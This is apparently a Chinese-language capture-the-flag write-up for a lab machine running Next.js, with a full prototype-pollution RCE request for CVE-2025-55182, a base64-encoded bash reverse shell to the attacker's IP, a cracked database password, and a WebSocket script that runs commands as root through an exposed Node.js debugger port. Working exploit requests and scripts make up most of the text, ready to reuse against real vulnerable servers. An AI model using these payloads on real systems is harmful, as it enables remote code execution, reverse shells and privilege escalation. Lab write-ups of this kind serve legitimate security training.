本文最后更新于 2026-06-15T13:02:00+08:00
USER FLAG
nmap 扫一下靶机的端口服务
一个 22 端口,一个 3000 端口

先看 3000 端口

Wappalyzer 看一下框架是 React 和 Next.js

想到去年一个漏洞:CVE-2025-55182
用插件看一下确实存在,不过插件因为网络问题不能直接打

上网找POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| POST / HTTP/1.1 Host: 10.129.4.41:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 742
------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0"
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1"
"$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2"
[] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
|

反弹shell
1
| echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NS8yMzMzIDA+JjE= | base64 -d | /bin/bash
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| POST / HTTP/1.1 Host: 10.129.4.41:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 742
Content-Disposition: form-data; name="0"
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NS8yMzMzIDA+JjE= | base64 -d | /bin/bash',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } }
Content-Disposition: form-data; name="1"
"$@0"
Content-Disposition: form-data; name="2"
[]
|

到用户目录下,可以看到还有个engineer用户

接下来就是要提权到engineer这个用户了,没有发现 SUID 和 SUDO 提权的可能
不过在/opt/reactor-app目录下发现有个reactor.db文件

将这个文件传到kali中,靶机是有 python 的

利用 python 开个 HTTP 服务
1
| python3 -m http.server 4444
|

然后 kali 开个终端下载文件
1
| curl -o reactor.db http://10.129.4.41:8000/reactor.db
|

打开reactor.db可以发现这个文件中存着用户名和密码

“浏览数据” 中查看 “users” 表,可以得到engineer用户的 hash 密码:39d97110eafe2a9a68639812cd271e8e

cmd5在线网站解密得到明文密码是:reactor1

SSH 登录engineer用户
1
| ssh engineer@10.129.4.41
|

拿到user.txt

1
| a569da335f5f797c99618f9b0679f88b
|
ROOT FLAG
继续提权为 root,这个用户也是不能 SUID 和 SUDO 提权,看一下端口使用情况,发现9229有点可疑

查看一下进程

问一下 AI,这个进程就是在进行 Nodejs 调试

--inspect会开启 Nodejs 远程调试端口,也就是这里的9229,可疑进行RCE,而且这个进程是 root 用户的,可以利用这个 node 调试器进行提权

看一下 json
1
| curl http://127.0.0.1:9229/json
|

1 2 3 4 5 6 7 8 9 10 11
| [ { "description": "node.js instance", "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63", "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63", "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico", "id": "7b173987-c390-41f2-8a91-05b51647cb63", "title": "/opt/uptime-monitor/worker.js", "type": "node", "url": "file:///opt/uptime-monitor/worker.js", "webSocketDebuggerUrl": "ws://127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63" } ]
|
利用 ws 链接调试端口,脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63');
ws.on('open', function () { console.log('connected');
ws.send(JSON.stringify({ id: 1, method: "Runtime.evaluate", params: { expression: ` this.constructor.constructor('return process')() .mainModule.require('child_process') .execSync('id') .toString() ` } })); });
ws.on('message', function (data) { console.log(data.toString()); });
|
这个端口应该不出网,进行一下转发到我本地
1
| ssh -L 9229:127.0.0.1:9229 engineer@10.129.4.41 -fN
|

然后就是执行上面的脚本了
成功提权为 root

读 root 目录下的 root.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63');
ws.on('open', function () { console.log('connected');
ws.send(JSON.stringify({ id: 1, method: "Runtime.evaluate", params: { expression: ` this.constructor.constructor('return process')() .mainModule.require('child_process') .execSync('cat /root/root.txt') .toString() ` } })); });
ws.on('message', function (data) { console.log(data.toString()); });
|

1
| cd93df50976aab2221f1b7522b921369
|
总结
这题就是利用去年年底的一个CVE,之前也遇到用过,然后就是信息搜集,拿到其他用户的SSH密码,最后也是信息搜集,发现存在 node 调试器提权,直接以 root 身份RCE了